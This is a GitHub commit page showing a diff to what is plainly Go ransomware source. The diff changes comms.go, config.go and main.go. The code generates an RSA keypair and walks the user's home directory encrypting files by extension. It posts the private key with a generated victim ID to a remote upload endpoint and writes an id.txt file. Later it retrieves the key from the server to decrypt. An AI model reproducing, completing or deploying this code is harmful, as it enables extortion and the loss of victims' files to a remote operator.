Skip to content

Commit

Permalink
Encrypt, decrypt, send key to server, get key to server, write file c…
Browse files Browse the repository at this point in the history
…ontaining id
  • Loading branch information
wille committed Jan 20, 2017
1 parent 8815313 commit f9fbf70
Show file tree
Hide file tree
Showing 3 changed files with 60 additions and 11 deletions.
7 changes: 2 additions & 5 deletions comms.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,9 +8,8 @@ import (
)

// PostKey sends the private key to the remote serrver
func PostKey(priv *rsa.PrivateKey) error {
func PostKey(priv *rsa.PrivateKey, id string) error {
key := Stringify(priv)
id := "id"

_, err := http.PostForm(UploadEndpoint, url.Values{
"k": {key},
Expand All @@ -20,9 +19,7 @@ func PostKey(priv *rsa.PrivateKey) error {
return err
}

func GetKey() (*rsa.PrivateKey, error) {
id := "id"

func GetKey(id string) (*rsa.PrivateKey, error) {
req, err := http.PostForm(RetrieveEndpoint, url.Values{
"i": {id},
})
Expand Down
2 changes: 1 addition & 1 deletion config.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
package main

// Extensions to encrypt
// Extensions to walk
var Extensions = [...]string{
"txt",
"doc",
Expand Down
62 changes: 57 additions & 5 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,21 +3,73 @@ package main
import (
"fmt"

"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"encoding/hex"
"io/ioutil"
"os"
"strings"
)

// GenerateID generates the unique identifier
func GenerateID() string {
r := make([]byte, 32)
rand.Read(r)

hash := sha256.New()

return hex.EncodeToString(hash.Sum(r))
}

func main() {
fmt.Println("generating keypair...")
priv := Generate()
idFile, err := os.Open("id.txt")

var priv *rsa.PrivateKey

shouldEncrypt := false

// File exists, read id and get key from server
if err == nil {
idBytes, err := ioutil.ReadAll(idFile)
idFile.Close()

if err != nil {
panic(err)
}

id := string(idBytes)
id = strings.Split(id, "\r\n")[1]

GetKey(id)
} else {
fmt.Println("generating keypair...")
priv = Generate()
shouldEncrypt = true
}

fmt.Println()
fmt.Println(Stringify(priv))

startWalk := GetHomeDir()

Walk(startWalk, func(filePath string, fileInfo os.FileInfo) {
fmt.Println("encrypting", filePath)
Walk(startWalk, func(filePath string, fileInfo os.FileInfo, isEncrypted bool) {
fmt.Println(filePath, "encrypted", isEncrypted)

encrypt(filePath, priv)
if shouldEncrypt && !isEncrypted {
encrypt(filePath, priv)
} else if isEncrypted {
decrypt(filePath, priv)
}
})

if shouldEncrypt {
id := GenerateID()

PostKey(priv, id)

data := "# Do not modify this file, it contains your ID matching the encryption key\r\n" + id

ioutil.WriteFile("id.txt", []byte(data), 0777)
}
}

0 comments on commit f9fbf70

Please sign in to comment.